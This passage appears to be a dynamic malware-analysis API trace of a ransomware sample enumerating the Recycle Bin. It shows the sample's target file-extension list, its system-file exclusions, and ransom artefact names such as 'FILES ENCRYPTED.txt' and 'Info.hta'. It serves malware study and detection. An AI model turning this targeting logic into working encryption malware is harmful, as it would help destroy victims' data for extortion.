ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0078.881] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0078.881] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0078.881] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x45a120 [0078.881] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0078.882] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0078.882] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0078.882] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0078.882] lstrlenW (lpString="S-1-5-18") returned 8 [0078.882] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0078.882] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0078.882] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0078.882] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x459c60 [0078.883] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.883] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.883] lstrlenW (lpString="desktop.ini") returned 11 [0078.883] lstrlenW (lpString=".1cd") returned 4 [0078.883] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0078.883] lstrlenW (lpString=".3ds") returned 4 [0078.883] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".3fr") returned 4 [0078.884] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".3g2") returned 4 [0078.884] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".3gp") returned 4 [0078.884] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".7z") returned 3 [0078.884] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0078.884] lstrlenW (lpString=".accda") returned 6 [0078.884] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".accdb") returned 6 [0078.884] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".accdc") returned 6 [0078.884] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".accde") returned 6 [0078.884] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".accdt") returned 6 [0078.884] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".accdw") returned 6 [0078.884] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0078.884] lstrlenW (lpString=".adb") returned 4 [0078.884] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".adp") returned 4 [0078.884] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0078.884] lstrlenW (lpString=".ai") returned 3 [0078.884] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0078.884] lstrlenW (lpString=".ai3") returned 4 [0078.884] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ai4") returned 4 [0078.885] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ai5") returned 4 [0078.885] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ai6") returned 4 [0078.885] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ai7") returned 4 [0078.885] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ai8") returned 4 [0078.885] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".anim") returned 5 [0078.885] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0078.885] lstrlenW (lpString=".arw") returned 4 [0078.885] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".as") returned 3 [0078.885] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0078.885] lstrlenW (lpString=".asa") returned 4 [0078.885] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".asc") returned 4 [0078.885] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".ascx") returned 5 [0078.885] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0078.885] lstrlenW (lpString=".asm") returned 4 [0078.885] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0078.885] lstrlenW (lpString=".asmx") returned 5 [0078.885] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0078.885] lstrlenW (lpString=".asp") returned 4 [0078.886] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".aspx") returned 5 [0078.886] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0078.886] lstrlenW (lpString=".asr") returned 4 [0078.886] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".asx") returned 4 [0078.886] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".avi") returned 4 [0078.886] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".avs") returned 4 [0078.886] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".backup") returned 7 [0078.886] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0078.886] lstrlenW (lpString=".bak") returned 4 [0078.886] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".bay") returned 4 [0078.886] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".bd") returned 3 [0078.886] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0078.886] lstrlenW (lpString=".bin") returned 4 [0078.886] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".bmp") returned 4 [0078.886] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".bz2") returned 4 [0078.886] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0078.886] lstrlenW (lpString=".c") returned 2 [0078.887] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0078.887] lstrlenW (lpString=".cdr") returned 4 [0078.887] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cer") returned 4 [0078.887] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cf") returned 3 [0078.887] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0078.887] lstrlenW (lpString=".cfc") returned 4 [0078.887] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cfm") returned 4 [0078.887] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cfml") returned 5 [0078.887] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0078.887] lstrlenW (lpString=".cfu") returned 4 [0078.887] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".chm") returned 4 [0078.887] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cin") returned 4 [0078.887] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".class") returned 6 [0078.887] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0078.887] lstrlenW (lpString=".clx") returned 4 [0078.887] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".config") returned 7 [0078.887] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0078.887] lstrlenW (lpString=".cpp") returned 4 [0078.887] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".cr2") returned 4 [0078.887] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0078.887] lstrlenW (lpString=".crt") returned 4 [0078.887] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".crw") returned 4 [0078.888] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".cs") returned 3 [0078.888] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0078.888] lstrlenW (lpString=".css") returned 4 [0078.888] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".csv") returned 4 [0078.888] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".cub") returned 4 [0078.888] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".dae") returned 4 [0078.888] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".dat") returned 4 [0078.888] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0078.888] lstrlenW (lpString=".db") returned 3 [0078.888] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0078.889] lstrlenW (lpString=".dbf") returned 4 [0078.889] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dbx") returned 4 [0078.889] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dc3") returned 4 [0078.889] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dcm") returned 4 [0078.889] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dcr") returned 4 [0078.889] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".der") returned 4 [0078.889] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dib") returned 4 [0078.889] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dic") returned 4 [0078.889] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".dif") returned 4 [0078.889] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".divx") returned 5 [0078.889] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0078.889] lstrlenW (lpString=".djvu") returned 5 [0078.889] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0078.889] lstrlenW (lpString=".dng") returned 4 [0078.889] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0078.889] lstrlenW (lpString=".doc") returned 4 [0078.889] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".docm") returned 5 [0078.890] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0078.890] lstrlenW (lpString=".docx") returned 5 [0078.890] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0078.890] lstrlenW (lpString=".dot") returned 4 [0078.890] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dotm") returned 5 [0078.890] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0078.890] lstrlenW (lpString=".dotx") returned 5 [0078.890] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0078.890] lstrlenW (lpString=".dpx") returned 4 [0078.890] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dqy") returned 4 [0078.890] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dsn") returned 4 [0078.890] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dt") returned 3 [0078.890] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0078.890] lstrlenW (lpString=".dtd") returned 4 [0078.890] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dwg") returned 4 [0078.890] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dwt") returned 4 [0078.890] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0078.890] lstrlenW (lpString=".dx") returned 3 [0078.891] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0078.891] lstrlenW (lpString=".dxf") returned 4 [0078.891] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".edml") returned 5 [0078.891] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0078.891] lstrlenW (lpString=".efd") returned 4 [0078.891] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".elf") returned 4 [0078.891] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".emf") returned 4 [0078.891] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".emz") returned 4 [0078.891] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".epf") returned 4 [0078.891] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".eps") returned 4 [0078.891] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".epsf") returned 5 [0078.891] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0078.891] lstrlenW (lpString=".epsp") returned 5 [0078.891] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0078.891] lstrlenW (lpString=".erf") returned 4 [0078.891] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".exr") returned 4 [0078.891] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0078.891] lstrlenW (lpString=".f4v") returned 4 [0078.892] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".fido") returned 5 [0078.892] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0078.892] lstrlenW (lpString=".flm") returned 4 [0078.892] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".flv") returned 4 [0078.892] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".frm") returned 4 [0078.892] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".fxg") returned 4 [0078.892] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".geo") returned 4 [0078.892] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".gif") returned 4 [0078.892] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".grs") returned 4 [0078.892] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".gz") returned 3 [0078.892] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0078.892] lstrlenW (lpString=".h") returned 2 [0078.892] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0078.892] lstrlenW (lpString=".hdr") returned 4 [0078.892] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".hpp") returned 4 [0078.892] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".hta") returned 4 [0078.892] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".htc") returned 4 [0078.892] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0078.892] lstrlenW (lpString=".htm") returned 4 [0078.892] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0078.893] lstrlenW (lpString=".html") returned 5 [0078.893] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0078.893] lstrlenW (lpString=".icb") returned 4 [0078.893] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0078.893] lstrlenW (lpString=".ics") returned 4 [0078.893] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0078.893] lstrlenW (lpString=".iff") returned 4 [0078.893] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0078.893] lstrlenW (lpString=".inc") returned 4 [0078.893] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0078.893] lstrlenW (lpString=".indd") returned 5 [0078.893] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0078.893] lstrlenW (lpString=".ini") returned 4 [0078.893] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0078.893] lstrlenW (lpString="desktop.ini") returned 11 [0078.893] lstrlenW (lpString=".kr") returned 3 [0078.893] lstrcmpiW (lpString1=".kr", lpString2="ini") returned -1 [0078.893] lstrlenW (lpString="desktop.ini") returned 11 [0078.893] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0078.893] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0078.893] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0078.893] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0078.893] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0078.893] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0078.893] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0078.893] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="desktop.ini") returned 1 [0078.893] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0078.893] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0078.894] FindClose (in: hFindFile=0x459c60 | out: hFindFile=0x459c60) returned 1 [0078.894] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0078.894] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0078.894] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0078.894] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0078.894] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1 [0078.894] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0078.894] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0078.894] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x459c60 [0078.894] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.895] lstrlenW (lpString="desktop.ini") returned 11 [0078.895] lstrlenW (lpString=".1cd") returned 4 [0078.895] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".3ds") returned 4 [0078.895] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".3fr") returned 4 [0078.895] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".3g2") returned 4 [0078.895] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".3gp") returned 4 [0078.895] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".7z") returned 3 [0078.895] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0078.895] lstrlenW (lpString=".accda") returned 6 [0078.895] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".accdb") returned 6 [0078.895] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".accdc") returned 6 [0078.895] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".accde") returned 6 [0078.895] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".accdt") returned 6 [0078.895] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".accdw") returned 6 [0078.895] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0078.895] lstrlenW (lpString=".adb") returned 4 [0078.895] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".adp") returned 4 [0078.895] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0078.895] lstrlenW (lpString=".ai") returned 3 [0078.895] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0078.895] lstrlenW (lpString=".ai3") returned 4 [0078.896] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ai4") returned 4 [0078.896] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ai5") returned 4 [0078.896] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ai6") returned 4 [0078.896] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ai7") returned 4 [0078.896] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".ai8") returned 4 [0078.896] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".anim") returned 5 [0078.896] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0078.896] lstrlenW (lpString=".arw") returned 4 [0078.896] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0078.896] lstrlenW (lpString=".as") returned 3 [0078.896] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0078.896] lstrlenW (lpString=".asa") returned 4 [0078.896] lstrcmpiW 